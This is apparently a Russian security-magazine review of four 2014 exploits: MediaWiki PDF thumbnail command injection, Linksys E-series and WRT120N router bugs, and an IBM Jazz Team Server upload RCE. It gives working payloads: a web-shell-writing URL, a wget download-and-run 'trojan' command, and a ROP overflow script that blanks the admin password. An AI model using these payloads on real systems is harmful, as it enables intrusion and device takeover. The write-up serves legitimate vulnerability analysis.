Содержание статьи
Этот месяц запомнился сразу несколькими вкусностями: удаленным выполнением кода в MediaWiki — движке, который используется в громадном количестве проектов, в том числе Википедии, и парой простых, но эффективных багов в роутерах Linksys (один из них даже послужил основой для червя TheMoon!). Но обо всем по порядку.
Удаленное выполнение кода в MediaWiki
CVSSv2 6.0 (AV:R/AC:M/Au:S/C:P/I:P/A:P)
Дата релиза: 28 января 2014 года
Автор: Netanel Rubin
CVE: 2014-1610
Начнем с гвоздя программы — уязвимости в популярном движке MediaWiki, дающей возможность выполнить произвольный набор команд на сервере. Как уже было замечено выше, данная уязвимость позволяла загрузить атакующему любой код не только на любой сайт с этой CMS, но и на любую страницу самой Википедии до обновления! Уязвимость находится в файле thumb.php
, отвечающем за масштабирование изображений при их запросе браузером.
Полученный GET-запрос обрабатывается следующей функцией:
<?php
...
wfThumbHandleRequest();
При анализе этой функции видим, что GET-запрос в некоторых случаях проходит без фильтрации:
function wfThumbHandleRequest() {
$params = get_magic_quotes_gpc() ? array_map( 'stripslashes', $_GET ) : $_GET;
// Данные миниатюры
wfStreamThumb( $params );
}
Идем дальше по коду:
function wfStreamThumb( array $params ) {
...
// Сюда помещается загруженный PDF-файл
$fileName = isset( $params['f'] ) ? $params['f'] : '';
...
// Обратно совместимые параметры
if ( isset( $params['w'] ) ) {
// Здесь мы и передаем нашу команду
$params['width'] = $params['w'];
unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Если миниатюра не найдена, то создаем новую и масштабируем по высоте и ширине
$thumb = $img->transform( $params, File::RENDER_NOW );
...
// Если не было ошибок, то передаем файл
$thumb->streamFile( $headers );
Теперь рассмотрим скрипт, отвечающий за обработку файлов/includes/filerepo/file/File.php
<? ...
function transform( $params, $flags = 0 ) { ...
// Обработчик PDF
$handler = $this->getHandler();
...
$normalisedParams = $params;
$handler->normaliseParams( $this, $normalisedParams );
...
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
Далее скрипт обработки PDF-файлов /extensions/PdfHandler/PdfHandler_body.php
:
<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
$width = $params['width'];
...
// Создается команда с параметрами для выполнения в шелле
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor );
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page} -dLastPage={$page}";
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg($srcPath );
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
// Вот и наша долгожданная ошибка. Переданный параметр от пользователя не проходит ни одну из защитных обработок
$cmd .= " -depth 8 -resize {$width} - ";
$cmd .= wfEscapeShellArg( $dstPath ) . ")";
$cmd .= " 2>&1";
...
$err = wfShellExec( $cmd, $retval );
Ну и наконец, файл, который отвечает за выполнение команд/includes/GlobalFunctions.php
. Выполнение команды с ограничением по времени и памяти:
<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits = array() ) {
...
// Выполняем команду!
passthru( $cmd, $retval );
EXPLOIT
Ниже представлен процесс эксплуатации уязвимости:
- Загружаем PDF-файл на сайт с установленной MediaWiki и включенной возможностью загрузки PDF-файлов по следующему адресу:http://vulnerable-site/index.php/Special:Upload
- Создаем небольшой PHP-файл с функцией выполнения системных команд:http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|
echo%20"<?php%20system(\\$_GET[1]);">images/abc.php
- Проверяем работу созданного шелла, прочитав файл с паролями пользователей на сервере:http://vulnerable-site/images/abc.php?1=cat%20/etc/passwd
Помимо обычного эксплойта, также есть готовый Metasploit-модуль.
TARGETS
MediaWiki 1.22.x–1.22.1;
MediaWiki 1.21.x–1.21.4;
MediaWiki 1.8–1.19.10.
SOLUTION
Есть исправление от производителя. Также можно запретить загрузку всех файлов (или только с расширением pdf
) в файле с настройками LocalSettings.php
Удаленное выполнение произвольного кода в роутерах Linksys E-серии
CVSSv2 N/A
Дата релиза: 13 февраля 2014 года
Автор: Unknown, Rew, Johannes Ullrich
CVE: N/A
Данная уязвимость была обнаружена после анализа червя по имени TheMoon. Название он получил из-за изображений из фильма The Moon, которые хранились в бинарнике. Но вернемся к багам.
Многочисленные роутеры фирмы Linksys Е-серии содержат ошибку в скрипте tmUnblock.cgi
(в некоторых случаях и в hndUnblock.cgi), которая происходит из-за недостаточно тщательной обработки входящего параметра ttcp_ip
POST-запроса, что позволяет выполнить произвольную команду на устройстве.
EXPLOIT
В открытый доступ выложено несколько эксплойтов:
Разберем Python-версию. Ничего сложного в эксплуатации нет. В качестве атакующей команды берем загрузку исполняемого файла с доступного сервера, адрес которого указываем в переменной wget_url:
cmd = "wget %s -O /tmp/.trojan;chmod 777 /tmp/.trojan;/tmp/.trojan" %(wget_url)
Далее составляем запрос, куда мы и впишем нашу команду:
# Здесь указываем адрес или в 99% случаев IP типа 192.168.1.1
url = target + "/tmUnblock.cgi"
# Уязвимый параметр имеет особую структуру, которую нам надо учесть
injection = "-h `%s`" %(command)
the_ownage = {'submit_button': '',
'change_action': '',
'action': '',
'commit': '0',
'ttcp_num': '2',
'ttcp_size': '2',
# Уязвимый параметр
'ttcp_ip': injection,
'StartEPI': '1'}
Вот и весь запрос.
TARGETS
- Linksys E4200;
- Linksys E3200;
- Linksys E3000;
- Linksys E2500;
- Linksys E2100L;
- Linksys E2000;
- Linksys E1550;
- Linksys E1500;
- Linksys E1200;
- Linksys E1000;
- Linksys E900;
- Linksys E300;
- Linksys WAG320N;
- Linksys WAP300N;
- Linksys WAP610N;
- Linksys WES610N;
- Linksys WET610N;
- Linksys WRT610N;
- Linksys WRT600N;
- Linksys WRT400N;
- Linksys WRT320N;
- Linksys WRT160N;
- Linksys WRT150N.
Номера моделей были вытащены из червя, поэтому не исключено, что уязвимость работает и на других моделях.
SOLUTION
На момент написания статьи о патче не было известно. Но можно использовать сторонние прошивки от энтузиастов.
Удаленное выполнение кода в IBM Jazz Team Server
CVSSv2 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Дата релиза: 3 марта 2014 года
Автор: Insomnia Security
CVE: 2014-0862
Один из компонентов IBM Jazz Team Server / Rational, который также доступен в Rational Focal Point и Rational CLM, подвержен атаке, которая позволяет злоумышленнику удаленно выполнить произвольный код. Уязвимы системы, включающие компонент, поддерживающий OSGi-контейнер, — к нему можно получить доступ без аутентификации через веб-сервер.
Атакующий, у которого будет доступ хотя бы на уровне HTTP-запросов к серверу с запущенным Rational Focal Point или Rational Requirements Manager, может исполнить произвольный Java-код на сервере с теми же правами, что и сама Java. Уязвимый компонент также используется в других различных программных решениях, описанных в официальномдокументе от IBM.
EXPLOIT
Архитектура, содержащая уязвимый компонент, реализует часть административных возможностей для комплекта Rational. Этот набор представляет собой несколько веб-доступных servlet endpoints, до одного из которых (com.ibm.team.repository.provision.internal.InstallServlet
) можно добраться через HTTP по следующему пути:
<context-path>/install (например, http://server/jazzui/install для Focal Point, http://server/rm/install для Rational Requirements Manager)
Этот сервлет отвечает за подтверждение загрузки OSGi-набора и развертывание его внутри Equinox OSGi контейнера запущенного приложения.
OSGi-наборы содержат произвольный Java-код. Эта особенность открывает замечательные возможности для атакующего, нужно лишь создать правильный интерфейс (OSGiorg.osgi.framework.BundleActivator
), предоставить соответствующие метаданные и загрузить их через HTTP POST запрос. В итоге мы сможем выполнить произвольный код на сервере с запущенным уязвимым продуктом!
Компонент com.ibm.team.repository.provision.Activator
(весь представленный код декомпилировался из файлаcom.ibm.team.repository.provision_1.2.200.v20121101_2349.jar
) выполняет набор операций Activator, который регистрирует Servlet endpoints.
Сервлет com.ibm.team.repository.provision.internal.InstallServlet
предоставляет сервис для методов по обработке HTTP-запросов с данными из нескольких частей, которые ведут к загрузке файлов в другие методы без аутентификации.
Функция uploadUpdateSite()
обрабатывает полученные ZIP-файлы: разархивирует их и, если метаданные правильные для данного OSGi-набора, устанавливает и запускает код.
Все это приводит к установке атакующего кода внутри приложения. Через некоторое время он перезапускает сервисы и перезагружает систему, причем без попытки проверить методы, описанные внутри компонента.
Автор уязвимости пока не выложил в открытый доступ сам эксплойт, доступен лишь скриншот его работы.
Эксплойт протестирован на Rational Focal Point в Apache Tomcat container под Linux (но он также успешно работает для Rational Requirements Manager и Focal Point на WebSphere). Выполнение команд производится с помощью
java.lang.Runtime.getRuntime().exec()
А сами команды отсылаются по HTTP-протоколу.
TARGETS
IBM Rational Collaborative Lifecycle Management 3.0.0–4.0.5.
SOLUTION
Есть исправление от производителя. Также можно сделать фильтр с регулярным выражением^POST /.*/install.*
для детектирования HTTP-запросов от других возможных эксплойтов для InstallServlet, ProvisionRestServlet и других компонентов.
Переполнение стека fprintf в WRT120N
CVSSv2 N/A
Дата релиза: 19 февраля 2014 года
Автор: Craig
CVE: N/A
Ну и закончим наш обзор еще одной уязвимостью в роутерах Linksys. В модели WRT120N применена операционная система реального времени. Также весь веб-интерфейс в целях безопасности использует HTTP-авторизацию. Большинство страниц ее и требует, но есть небольшой список, который доступен без авторизации. Его можно найти, загрузив бинарный файл прошивки в дизассемблер (см. скриншоты).
Как пишет автор уязвимости, часть файлов в этом списке не представляла ничего впечатляющего. Тем не менее был найден интересный файл /cgi/tmUnBlock.cgi
, в котором обрабатывались данные от пользователя (код обработки представлен на скриншоте).
Нас интересует строка
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
Хоть уязвимым параметром и является POST-переменная TM_Block_URL
, но ошибка находится в реализации функции fprintf. И если ты посмотришь на ее код, то очень удивишься :).
Эта функция использует только 256 байт. Это означает, что полученный от пользователя параметр TMBLOCKURL переполнит буфер, если его размер будет больше, чем 246 (sizeof(buf) – strlen(“Location: “)
) байт.
Отправим тестовый запрос и посмотрим значения регистров на скриншоте:
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
От самого простого эксплойта требуется переписать часть важных данных в памяти, например пароль администратора устройства, который хранится по адресу 0x81544AF0
.
Пароль представлен как обычная строка, оканчивающаяся NULL-байтом, поэтому если мы запишем нулевой байт в начало этого адреса, то сможем авторизоваться на устройстве с пустым паролем. Нужно лишь сделать так, чтобы после всех наших действий система продолжила работать :).
Рассмотрим конец функции fprintf. Оба регистра $ra и $s0 восстанавливаются из стека — это означает, что мы можем их контролировать, когда переполним стек.
Далее был найден интересный участок кода по адресу 0x8031F634, что сохраняет четыре нулевых байта из регистра $zero в адрес, который хранится в регистре $s0:
Если мы используем переполнения fpritnf, чтобы вернуться к 0x8031F634
и переписать $s0 с адресом пароля администратора (0x81544AF0
), тогда алгоритм работы кода получится таким:
- обнуляем пароль администратора;
- возвращаем адрес возврата, сохраненный в стеке (мы контролируем стек);
- добавляем 16 в указатель стека.
Последний пункт и вызывает проблему. Нам нужно, чтобы система продолжила работать нормально и не «упала», но если мы просто вернемся к функции cgi_tmUnBlock
, как ожидают от fprintf, то наш указатель стека будет отличаться на 16 байт. Но поиск подходящей ROP-цепочки, которая уменьшит указатель на стека на 16 байт, мог бы затянуться, поэтому было предложено иное решение.
Если присмотреться к адресу в cgi_tmUnblock, куда fprintf должна вернуться, ты сможешь увидеть, что все делается для восстановления $ra, $s1 и $s0 из стека, затем возвращается, и к указателю стека добавляется 0x60:
Мы уже добавили 0x10 к указателю стека, поэтому можем найти вторую ROP-цепочку для восстановления соответствующих сохраненных значений для $ra, $s1 и $s0 из стека и добавить 0x50 к указателю стека, то есть такую, которая эффективно заменит концовку функции cgi_tmUnblock.
Был найден не совсем точно подходящий под наши нужды участок кода по адресу 0x803471B8.
Эта цепочка добавляет только 0x10 к указателю стека, но это не проблема. Мы создаем несколько дополнительных кадров стека, который возвращается на себя пять раз. На пятой итерации оригинальные значения нужных регистров будут закинуты в стек и наша ROP-цепочка вернется к вызову из cgi_tmUnblock.
На сайте автора есть небольшой GIF-ролик, в котором он нарисовал весь процесс переполнения буфера, описанный выше.
EXPLOIT
В качестве эксплойта опять будем использовать Python-скрип, который отправит POST-запрос со следующим содержимым:
url = target + '/cgi-bin/tmUnblock.cgi' # Путь к атакуемому устройству
...
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
# Заполняем
post_data += "B" * 246
# $s0, адрес пароля админа в памяти
post_data += "\x81\x54\x4A\xF0"
# $ra
post_data += "\x80\x31\xF6\x34"
# Заполняем стек
post_data += "C" * 0x28
# ROP 1 $s0
post_data += "D" * 4
# ROP 1 $ra (адрес для ROP 2)
post_data += "\x80\x34\x71\xB8"
# Заполняем стек
post_data += "E" * 8
for i in range(0, 4):
# ROP 2 $s0
post_data += "F" * 4
# ROP 2 $s1
post_data += "G" * 4
# ROP 2 $ra (адрес "себя")
post_data += "\x80\x34\x71\xB8"
# Заполняем стек. Нужно 4 байта для последнего кадра, чтобы замкнуть запрос символами "\n\n" и нулевым байтом
post_data += "H" * (4-(3*(i/3)))
Исходник эксплойта ты также сможешь найти на сайте автора по указанной ссылке.
TARGETS
WRT120N.
SOLUTION
На момент написания статьи о патче не было известно.